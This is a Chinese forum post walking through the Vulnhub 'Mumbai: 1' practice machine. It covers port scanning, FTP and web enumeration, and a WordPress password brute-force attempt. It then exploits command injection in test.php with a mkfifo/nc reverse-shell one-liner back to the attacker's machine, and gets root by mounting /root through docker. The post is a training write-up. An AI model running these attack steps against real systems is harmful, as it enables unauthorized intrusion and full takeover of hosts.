Vulnhub之Mumbai靶机详细测试过程

打印 上一主题 下一主题

主题 997|帖子 997|积分 2991

Mumbai

作者:jason huawen
靶机信息

名称:  Mumbai: 1
地址:
  1. https://www.vulnhub.com/entry/mumbai-1,372/
复制代码
识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:ff:33:41      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.243  08:00:27:50:a1:19      1      60  PCS Systemtechnik GmbH                     
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.243
NMAP扫描
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.243 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-04 02:45 EDT
  4. Nmap scan report for bogon (192.168.56.243)
  5. Host is up (0.00012s latency).
  6. Not shown: 65530 closed tcp ports (reset)
  7. PORT     STATE SERVICE VERSION
  8. 21/tcp   open  ftp     vsftpd 3.0.3
  9. | ftp-syst:
  10. |   STAT:
  11. | FTP server status:
  12. |      Connected to ::ffff:192.168.56.230
  13. |      Logged in as ftp
  14. |      TYPE: ASCII
  15. |      No session bandwidth limit
  16. |      Session timeout in seconds is 300
  17. |      Control connection is plain text
  18. |      Data connections will be plain text
  19. |      At session startup, client count was 3
  20. |      vsFTPd 3.0.3 - secure, fast, stable
  21. |_End of status
  22. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  23. |_-rw-r--r--    1 0        0             297 Sep 25  2019 Note
  24. 22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  25. | ssh-hostkey:
  26. |   2048 e3:df:27:19:33:de:d4:2e:5e:33:d9:ab:74:df:38:80 (RSA)
  27. |   256 29:e2:b6:ef:b3:a0:43:7b:8a:a4:4b:f7:e8:41:1f:5b (ECDSA)
  28. |_  256 34:3a:48:af:b8:68:ab:53:18:62:d2:e4:08:74:e4:c3 (ED25519)
  29. 80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
  30. |_http-generator: comingsoonpage.com 1.0.0
  31. |_http-title: Mumbai SEO Services
  32. |_http-server-header: Apache/2.4.29 (Ubuntu)
  33. 3306/tcp open  mysql   MySQL (unauthorized)
  34. 8000/tcp open  http    nginx 1.14.0 (Ubuntu)
  35. |_http-title: Site doesn't have a title (text/html).
  36. |_http-open-proxy: Proxy might be redirecting requests
  37. |_http-server-header: nginx/1.14.0 (Ubuntu)
  38. MAC Address: 08:00:27:50:A1:19 (Oracle VirtualBox virtual NIC)
  39. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  40. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  41. Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
复制代码
获得Shell

先尝试一下mysql是否有弱口令:
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ mysql -uroot -p -h 192.168.56.243
  3. Enter password:
  4. ERROR 1130 (HY000): Host '192.168.56.230' is not allowed to connect to this MySQL server
复制代码
尝试结果表明远程机器无法连接数据库服务器,只允许本地访问。
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ ftp 192.168.56.243                  
  3. Connected to 192.168.56.243.
  4. 220 (vsFTPd 3.0.3)
  5. Name (192.168.56.243:kali): anonymous
  6. 331 Please specify the password.
  7. Password:
  8. 230 Login successful.
  9. Remote system type is UNIX.
  10. Using binary mode to transfer files.
  11. ftp> ls -alh
  12. 229 Entering Extended Passive Mode (|||14114|)
  13. 150 Here comes the directory listing.
  14. drwxr-xr-x    2 0        116          4096 Sep 25  2019 .
  15. drwxr-xr-x    2 0        116          4096 Sep 25  2019 ..
  16. -rw-r--r--    1 0        0             297 Sep 25  2019 Note
  17. 226 Directory send OK.
  18. ftp> get Note
  19. local: Note remote: Note
  20. 229 Entering Extended Passive Mode (|||55304|)
  21. 150 Opening BINARY mode data connection for Note (297 bytes).
  22. 100% |****************************************************************************************************************|   297      108.30 KiB/s    00:00 ETA
  23. 226 Transfer complete.
  24. 297 bytes received in 00:00 (77.90 KiB/s)
  25. ftp> put test.txt
  26. local: test.txt remote: test.txt
  27. 229 Entering Extended Passive Mode (|||34115|)
  28. 550 Permission denied.
复制代码
对FTP服务的信息收集结果汇总:

  • 目标主机允许FTP匿名访问
  • 将Note下载到Kali Linux本地
  • 匿名用户无法上传文件
  • ftp服务版本无漏洞可利用。
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ cat Note  
  3. TODO:
  4. Move these multiple HTTP Servers running to Docker. I hear containers make things inherently
  5. secure - maybe this will shut those security researchers up.
  6. Also, don't forget to remove all those privilege escalation exploits from /tmp - we don't want to
  7. rebuild the server again.
  8. - AbsoZed
复制代码
从Note内容看,应该是有容器的环境,也许可以利用容器进行本地提权。
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ gobuster dir -u http://192.168.56.243 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh,.js
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.243
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              html,txt,sh,js,php
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/04 02:52:30 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.php                 (Status: 403) [Size: 279]
  19. /.html                (Status: 403) [Size: 279]
  20. /index.html           (Status: 200) [Size: 10243]
  21. /wordpress            (Status: 301) [Size: 320] [--> http://192.168.56.243/wordpress/]
  22. /javascript           (Status: 301) [Size: 321] [--> http://192.168.56.243/javascript/]
  23. /drupal               (Status: 301) [Size: 317] [--> http://192.168.56.243/drupal/]
  24. /SEO                  (Status: 301) [Size: 314] [--> http://192.168.56.243/SEO/]
  25. /.html                (Status: 403) [Size: 279]
  26. /.php                 (Status: 403) [Size: 279]
  27. /server-status        (Status: 403) [Size: 279]
  28. Progress: 1320475 / 1323366 (99.78%)
  29. ===============================================================
  30. 2023/04/04 02:55:29 Finished
  31. ===============================================================
复制代码
Gobuster工具扫描出/drupaly以及/wordpress目录,前者为空目录,/wordpress目录应该是下一步信息收集的重点,利用的工具是wpscan:
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ wpscan --url http://192.168.56.243/wordpress -e u,p
  3. [i] User(s) Identified:
  4. [+] absozed
  5. | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  6. | Confirmed By: Login Error Messages (Aggressive Detection)
  7.         
复制代码
  1. ─$ wpscan --url http://192.168.56.243/wordpress -U absozed -P /usr/share/wordlists/rockyou.txt
复制代码
虽然wpscan工具扫描出用户名,但是在尝试利用wpscan工具破解密码时但运行十几分钟没有破解出密码。而且wpscan也没有扫描出可利用的插件,因此80端口方向只能作罢。
接下来看8000端口:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ gobuster dir -u http://192.168.56.243:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.sh,.js,.txt,.html
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.243:8000
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              html,php,sh,js,txt
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/04 03:30:30 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /index.html           (Status: 200) [Size: 46]
  19. /test.php             (Status: 200) [Size: 64]
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ curl http://192.168.56.243:8000/test.php
  3. Please POST a proper query. ex: https://caffeinatedengineers.com     
复制代码
从返回的内容来看,说明请求方法需要修改为POST,可以用burpsuite工具拦截请求,从而修改请求方法,即修改GET为POST
<img alt="" loading="lazy">
<img alt="" loading="lazy">
<img alt="" loading="lazy">
注意不要直接在Burp左侧修改请求头和请求体,修改结果其实是无效的,而是用右边的burpsuite来设置,比如修改Request mehod, 增加request body等等,因为在右侧修改内容,Burpsuite会做自动的字段补充,比如content-type等
<img alt="" loading="lazy">
<img alt="" loading="lazy">
也就是说可以利用命令包含漏洞,执行命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.230 5555 >/tmp/f
这样Kali Linux得到目标主机反弹回来的shell
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Mumbai]
  2. └─$ sudo nc -nlvp 5555                                         
  3. [sudo] password for kali:
  4. listening on [any] 5555 ...
  5. connect to [192.168.56.230] from (UNKNOWN) [192.168.56.243] 40510
  6. which python
  7. /usr/local/bin/python
  8. python -c 'import pty;pty.spawn("/bin/bash")'
  9. apiuser@mumbai:~$
复制代码
提权
  1. apiuser@mumbai:~$ docker images
  2. docker images
  3. REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
  4. migrationtest       v1                  ec8b7840f6aa        3 years ago         216MB
  5. ubuntu              14.04               2c5e00d77a67        3 years ago         188MB
  6. apiuser@mumbai:~$ docker run -it -v /root:/mnt ubuntu
  7. docker run -it -v /root:/mnt ubuntu
  8. Unable to find image 'ubuntu:latest' locally
  9. docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution.
  10. See 'docker run --help'.
  11. apiuser@mumbai:~$ docker run -it -v /root:/mnt ubuntu:14.04
  12. docker run -it -v /root:/mnt ubuntu:14.04
  13. root@224ee0f52adc:/# cd /mnt
  14. cd /mnt
  15. root@224ee0f52adc:/mnt# ls -alh
  16. ls -alh
  17. total 68K
  18. drwx------   6 root root 4.0K Sep 25  2019 .
  19. drwxr-xr-x   1 root root 4.0K Apr  4 07:54 ..
  20. -rw-r--r--   1 root root 3.1K Apr  9  2018 .bashrc
  21. drwx------   3 root root 4.0K Sep 24  2019 .cache
  22. drwxr-xr-x   3 root root 4.0K Sep 24  2019 .local
  23. -rw-------   1 root root   74 Sep 24  2019 .mysql_history
  24. drwxr-xr-x 399 1000 1000  12K Sep 24  2019 .npm
  25. -rw-r--r--   1 root root  148 Aug 17  2015 .profile
  26. -rw-------   1 root root    7 Sep 24  2019 .python_history
  27. drwx------   2 root root 4.0K Sep 24  2019 .ssh
  28. -rw-r--r--   1 root root 9.2K Sep 24  2019 .v8flags.6.2.414.50.root.json
  29. -rw-r--r--   1 root root  174 Sep 24  2019 .wget-hsts
  30. -rw-r--r--   1 root root  603 Sep 25  2019 proof.txt
  31. root@224ee0f52adc:/mnt# cat proof.txt
  32. cat proof.txt
  33. 8""8""8                                  8""""8 8"""" 8"""88
  34. 8  8  8 e   e eeeeeee eeeee  eeeee e     8      8     8    8
  35. 8e 8  8 8   8 8  8  8 8   8  8   8 8     8eeeee 8eeee 8    8
  36. 88 8  8 8e  8 8e 8  8 8eee8e 8eee8 8e        88 88    8    8
  37. 88 8  8 88  8 88 8  8 88   8 88  8 88    e   88 88    8    8
  38. 88 8  8 88ee8 88 8  8 88eee8 88  8 88    8eee88 88eee 8eeee8
  39.                                                             
  40. By: AbsoZed
  41.                                                                                                                         
  42. Congratulations! Hope you enjoyed the box!
  43. Proof: 4370445fbc9eaa490589b55a8ae4494f
  44. https://caffeinatedengineers.com
  45. root@224ee0f52adc:/mnt#
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

河曲智叟

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表